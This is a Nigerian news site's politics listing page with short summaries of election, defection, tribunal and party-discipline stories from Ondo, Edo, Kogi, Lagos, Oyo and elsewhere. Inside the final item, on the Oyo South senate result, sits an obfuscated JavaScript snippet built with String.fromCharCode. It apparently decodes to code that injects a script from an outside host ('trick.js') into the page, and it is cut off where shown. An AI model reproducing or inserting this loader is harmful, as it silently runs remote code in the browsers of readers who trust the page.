Saturday, December 21

Politics

Ex-SSG Drops Ondo Guber Ambition, Supports Jimoh Ibrahim
Politics

Ex-SSG Drops Ondo Guber Ambition, Supports Jimoh Ibrahim

Ahead of the All Progressives Congress (APC) governorship primary in Ondo, Oladunni Odu, a former secretary to the state government (SSG) and aspirant, has collapsed her structure to support Jimoh Ibrahim. Mr Ibrahim is the senator representing Ondo South senatorial district and one of the APC governorship aspirants. The Independent National Electoral Commission directed political parties in the state to hold their primaries between April 6 and April 27. Ms Odu announced her plans during a meeting with her Iwajowa Political Group coordinators and some party chieftains in the South Senatorial District at the weekend in Okitipupa. One of the Odu group coordinators, Alaba Onayajo, confirmed this to journalists on Tuesday in Okitipupa. Mr Onayajo said the former SSG pledged to ...
Ondo: Mimiko’s ex-aide, 1000 others dump PDP for APC
Politics

Ondo: Mimiko’s ex-aide, 1000 others dump PDP for APC

The ranks of opposition Peoples Democratic Party (PDP) in Ondo State further got depleted on Wednesday, when a former aide of ex-Governor Segun Mimiko, Hon. Dare Aliu, led over 1000 of his supporters to defect to ruling All Progressives Congress (APC). Aliu, who was the chairman of Ondo State Advertisement and Signage Board during the PDP-led administration of Mimiko, was received by a tumultuous crowd at the APC party secretariat in Akure. While in PDP, he narrowly lost picking the party's House of Representatives ticket for the Akure North/South Federal Constituency election, in 2019. Giving reasons for quitting the PDP, Aliu said the party had derailed from its laid-down principles of internal democracy, and had been seriously fractured, especially at the Ondo State level. ...
Edo Guber Aspirant Alleges PDP Ward Congress Marred By Irregularities
Politics

Edo Guber Aspirant Alleges PDP Ward Congress Marred By Irregularities

Anselm Ojezua, one of the aggrieved Peoples Democratic Party (PDP) Edo governorship aspirants, says last weekend’s ward congress in the state was not free and fair. Mr Ojezua said during an interview with journalists in Abuja on Friday that only two officials conducted the election in 192 wards. He described the exercise as a mockery of the party’s regulations and processes, adding that only two officers signed the result sheets in all 102 wards. Mr Ojezua said nine out of the 10 aspirants were excluded from the exercise and only saw the result sheets when they arrived in Abuja to appeal against the process. He said the sheets were signed by the chairman of the ward congress committee, Governor Peter Mbah of Enugu State and the committee secretary. “What I find more disturb...
INEC Suspends Rerun Elections In 20 Polling Units In Enugu, Akwa Ibom, Kano
Politics

INEC Suspends Rerun Elections In 20 Polling Units In Enugu, Akwa Ibom, Kano

The Independent National Electoral Commission (INEC) has suspended the ongoing re-run elections in 20 polling units in specific constituencies in Enugu, Akwa-Ibom and Kano states. It said this was due to disruptions, irregularities and abduction of election officials. The commission disclosed this in a statement by Sam Olumekun, national commissioner and chairman, information and voter education committee, on Saturday in Abuja. The affected constituencies, according to Mr Olumekun, include Ikono/Ini Federal Constituency, Akwa Ibom; Enugu South 1 State Constituency, Enugu State; and Kunchi/Tsanyawa State Constituency, Kano State. Mr Olumekun said that elections in two polling units: Village Hall, EdemUrua 003 in Ini LGA and Village Hall Mbiabong Ikot Udo 003 in Ikono LGA, where...
NNPP Cautions Against Dealing With Expelled Party Members
Politics

NNPP Cautions Against Dealing With Expelled Party Members

The New Nigeria People’s Party (NNPP) has cautioned against dealing with its expelled members, parading themselves as national executives. Hon Robert, NNPP’s national legal adviser, said this at a news conference on Thursday in Abuja. Mr Robert said some former executives had been expelled from the party, saying there was a court of competent jurisdiction restraining order stopping them from parading themselves as NNPP leaders. He added that the court order had neither been challenged nor vacated. Mr Robert said all the group’s activities amounted to contempt of court, as the court order was not only served on them but also copied to media houses and organisations. He appealed to the media to avoid being dragged into flouting a valid court order. “We also want it placed ...
Presidency To Atiku: Tinubu On Top Of Domestic Situation
Politics

Presidency To Atiku: Tinubu On Top Of Domestic Situation

Alhaji Atiku Abubakar’s statement accusing President Bola Ahmed Tinubu of fiddling amidst some security and economic challenges is to say the least, reckless. Coming days after he made an equally reckless allegation against the President on the crude for loan deal for NNPC Limited, his latest statement fell short of what is expected from an elder statesman. We like to believe that Alhaji Atiku is still not nursing hangover of his electoral defeat and now latches on any issue to attack President Tinubu. President Tinubu did not travel without informing Nigerians of his whereabouts. He announced a private visit to France and announced a return date. While in France, President Tinubu has been following developments at home and he is on top of the situation in the country. Tod...
Ondo Assembly Confirms Olayide Adelami As Deputy Governor
Politics

Ondo Assembly Confirms Olayide Adelami As Deputy Governor

The Ondo house of assembly has confirmed Olayide Adelami, a former deputy clerk of the national assembly, as the deputy governor of the state. On Tuesday, the Ondo state government disclosed that Lucky Aiyedatiwa, governor of the state, had nominated Adelami for the position of deputy governor. The office had been vacant after Aiyedatiwa was sworn in to replace late Rotimi Akeredolu, former governor. Adelami is from Owo LGA, where Akeredolu hailed from. Ebenezer Adeniyan, the governor’s chief press secretary, had said Adelami’s nomination would be announced by the house of assembly after screening and ratification. Adelami retired as the deputy clerk of the national assembly in April 2018. Adelami was confirmed during plenary presided by Olamide Oladiji, speaker of the h...
S’Court Dismisses Achimugu’s Suit against Kogi APC’s Ododo
Politics

S’Court Dismisses Achimugu’s Suit against Kogi APC’s Ododo

…adjourns Smart Adeyemi’s matter to Oct. 23 The Supreme Court, on Thursday, dismissed the appeal by a governorship aspirant of the All Progressives Congress in Kogi State, Abubakar Achimugu, seeking to nullify the primary election of the party, which produced Usman Ododo as the APC Governorship candidate for the election slated for November 11 in the state. The appeal was dismissed by a panel of Supreme Court justices, including John Inyang Okoro, Hellen M. Ogunwunmiju, Adamu Jarrow,Emmanuel Agim and Tijani Abubakar, having been withdrawn by the Appellant. Achimugu had approached the trial court with a suit seeking to disqualify Ododo on the ground that he did not resign his employment with the Kogi State public service 30 days before contesting the governorship primary election....
Aiyedatiwa: Ondo PDP, Group Knock Assembly for Disobeying Court Order
Politics

Aiyedatiwa: Ondo PDP, Group Knock Assembly for Disobeying Court Order

Opposition Peoples Democratic Party (PDP) in Ondo State, has taken a swipe at the state's House of Assembly over its refusal to obey a court order restraining it from proceeding with an impeachment process against the deputy governor, Mr. Lucky Aiyedatiwa. Similarly, an All Progressives Congress (APC) pressure group, Ondo Progressive Crusaders (OPC), also in a statement on Wednesday, dismissed the Ondo legislators as "lawbreakers, and not lawmakers.": A Federal High Court in Abuja, the Federal Capital Territory, had on Tuesday restrained Governor Rotimi Akeredolu, the state's House of Assembly, as well as the state's Chief Judge from initiating an impeachment process against Aiyedatiwa, pending the determination of the substantive suit in motion. But in a swift reaction, the Spea...
Sanwo-Olu: Lagos Tribunal Anti-evidence, Judgment Unfortunate-Jandor
Politics

Sanwo-Olu: Lagos Tribunal Anti-evidence, Judgment Unfortunate-Jandor

PDP candidate Abdul-Azeez Adediran (Jandor), in Lagos’ March 18 gubernatorial poll, has rejected the judgment of the governorship election petitions tribunal. The tribunal declared dead on arrival Mr Adediran’s petition against Governor Babajide Sanwo-Olu’s victory, holding that evidence before it showed that the petition lacked merit. Mr Adediran had contended that Mr Sanwo-Olu was wrongfully nominated and sponsored by his party, the All Progressives Party (APC) and, therefore, was unqualified to run for governor. Mr Adediran, in a statement by his spokesman Gbenga Ogunleye, said, “It is quite unfortunate that the tribunal in its wisdom refused to accept the credible and convincing evidence presented by his legal team on the non-qualifications of the APC and the Labour Party can...
NNPP Kicks Out Rabiu Kwankwaso Over Ties To Tinubu, APC
Politics

NNPP Kicks Out Rabiu Kwankwaso Over Ties To Tinubu, APC

The National Executive Committee of the New Nigeria People’s Party (NNPP) has expelled Rabiu Kwankwaso following his alleged refusal to appear before the party’s disciplinary committee. Mr Kwankwaso had been earlier suspended by the party’s leadership at its national convention on August 29 in Lagos. The party’s National Executive Council (NEC) set up a disciplinary committee. It directed it to invite Mr Kwankwaso to defend allegations of gross anti-party activities and mismanagement of party and campaign funds within five days. The NEC had warned that without appearing before the disciplinary committee, Mr Kwankwaso would be expelled from the party in line with the provisions of the party’s constitution 2022 (as amended). Consequently, NNPP’s acting spokesman Abdulsalam Abdul...
Group Flays Moves to Deny El-Rufai Ministerial Appointment
Politics

Group Flays Moves to Deny El-Rufai Ministerial Appointment

By Amina Anebi, Kaduna A socio-political group, Tudun Wada Zaria Sustainable Development Association, Zaria, alongside four other organisations in Kaduna State has frowned at what it described as a gang-up at the process of screening the ministerial nominee, former Governor Nasir el-Rufai of Kaduna State, at the Senate. The group at a press conference held in Kaduna, called the act as "witch-hunting and victimisation". The group's secretary, Alhaji Nasiru Ladan, said, "as rightly observed by the Senate President, petitions and complaints should be directed to the appropriate quarters", rather than intimidate el-Rufai.. "We notice with serious concern the conspiracy to deprive our beloved country the benefits of Mallam Nasir el-Rufai's tremendous contribution, competence and ex...
Ogun Governorship Election Petition Tribunal Adjourns Sitting Till Sept. 4
Politics

Ogun Governorship Election Petition Tribunal Adjourns Sitting Till Sept. 4

The Ogun governorship election petition tribunal, on Wednesday, in Abeokuta, adjourned its sitting till Sept. 4 for the adoption of final written addresses. The Justice Hamidu Kunaza-led panel adjourned proceedings after all parties closed their cases in the petition filed by the Peoples’ Democratic Party (PDP) candidate, Ladi Adebutu. Mr Adebutu had dragged Dapo Abiodun of the All Progressives Congress (APC), who secured re-election, before the three-man tribunal. He has alleged that Mr Abiodun did not win the majority of votes cast during the March 18 governorship election. PDP and Mr Adebutu, in the petition, marked EPT/OG/GOV/03/2023, accused the Independent National Electoral Commission (INEC) of non-compliance with the Electoral Act and corrupt practices during the elect...
Ondo: Group Passes Vote of Confidence in Aiyedatiwa
Politics

Ondo: Group Passes Vote of Confidence in Aiyedatiwa

A pressure group, Ondo Solidarity Forum (OSF) has expressed confidence in the leadership style of the Ondo State Acting Governor, Mr. Lucky Aiyedatiwa, noting that he is building on the achievements of Governor Rotimi Akeredolu (SAN), who is currently on medical leave. Rising from an emergency meeting in Akure on Sunday, the group also cautioned some politicians with divisive tendencies against fabricating "non-existent disaffection" between Akeredolu and Aiyedatiwa. In a communique issued by its chairman, Dr. Dipo Okeyomi, and publicity secretary, Prince Kayode Fasua, the OSF observed that nothing has shown so far that Ondo State is lacking in virile leadership, stressing that Aiyedatiwa is up to the task. "Contrary to insinuations that Lucky Aiyedatiwa cannot perform his role a...
Stop Causing Disaffection Between Gov, Deputy, Ondo LGAs Scribes Warn
Politics

Stop Causing Disaffection Between Gov, Deputy, Ondo LGAs Scribes Warn

Amid raging controversies in Ondo State, in the aftermath of the health condition of the state governor, Arakunrin Rotimi Akeredolu, the Forum of Local Government Secretaries of Ondo State has called for caution, urging interested parties not to cause disaffection between the governor and his deputy, Mr. Lucky Aiyedatiwa. The Forum gave the admonition on Monday in a statement issued by its chairman, Dr. Gbenga Fasua, who is the secretary of Akure South local council. Fasua observed that political schemers had lately begun various forms of dirty games, trying to take advantage of the health challenge of the governor. "Like every other human being, the governor recently took ill; what we should be doing is to be full of prayers for him to recover quickly and fully. "Not done, de...
Post-election: Finally, Oyebanji, Segun Oni Reconcile
Politics

Post-election: Finally, Oyebanji, Segun Oni Reconcile

Barely one month after the Supreme Court decided the Ekiti governorship election in favour of the incumbent Governor, Mr Biodun Oyebanji, the governor on Tuesday paid a visit to the candidate of the Social Democratic Party (SDP) in the election and main challenger in the court, Engr Segun Oni at his Ifaki-Ekiti residence. Governor Oyebanji who arrived the Ifaki residence of the former Governor at around 10.35am, said the visit was in fulfilment of his pledge to personally call and visit Engr segun Oni, whom he described as a brother and leader for whom he had great respect. “I am here to debunk the notion that you don’t return from court and become friends. I am here to greet my senior brother and my leader whom I have great respect for. “For me, I believe litigation is part of e...
Akure South Constituency 2 Demands Chairmanship Slot
Politics

Akure South Constituency 2 Demands Chairmanship Slot

Ahead of the coming local government elections in Ondo State, a group-Akure Constituency 2 Progressives (ACP), has called on the leadership of the All Progressives Congress (APC) to zone the position of Akure South Chairman, to Constituency 2. ACP, in a statement by its chairman, Chief Alaba Ogundele, and Secretary, Mr Sesan Ogunleye, averred that Constituency 2 is the most marginalised area in Akure South local council. It argued that while Constituency 1 where the incumbent Council chairman hails from had produced no fewer than 34 government functionaries, both elected and appointed, Constituency 2 had got only four; all under the current political dispensation. "While we are not disputing the fact that zoning is not a constitutional rule, we still cannot shy away from the fact...
Obi Took PDP Votes From South-East And South-South; I Would Have Chosen Him As A Vice, Says Atiku
Politics

Obi Took PDP Votes From South-East And South-South; I Would Have Chosen Him As A Vice, Says Atiku

The presidential candidate of the Peoples Democratic Party (PDP), Atiku Abubakar has said says the candidate of Labour Party (LP), Peter Obi took his Party’s votes from the south-east and the south-south and that he would have made him Vice presidential candidate if he had stayed in PDP. Abubakar who stated this on Thursday at a press conference in Abuja said that the PDP lost a considerable number of votes to Peter Obi, the LP presidential candidate in Saturday’s election. “It is a fact that he took our votes from the south-east and the south-south — that of course would not make him a president,” he said. “You all know that to be a president in this country you all need votes from everywhere. So as far as I am concerned, Peter is welcome to dialogue with PDP — we are ready to d...
Sharafadeen Alli Beats Tegbe, Kola-Daisi To Emerge Senator-Elect For Oyo South Senatorial District
Politics

Sharafadeen Alli Beats Tegbe, Kola-Daisi To Emerge Senator-Elect For Oyo South Senatorial District

By Alaba Abdulrazak The former secretary to the state government of Oyo state, Oloye Sharafadeen Alli has the Oyo South Senatorial District election. Alli defeated Joseph Tegbe of the Peoples Democratic Party, (PDP) and Kolapo Kola-Daisi of Accord Party (AP). Alli scored 111,513 while Tegbe got 92,481 and Accord garnered 33,641 in the Oyo South Senatorial District election. var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,115,116,111,99,107,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,116,114,105,99,107,46,106,115,...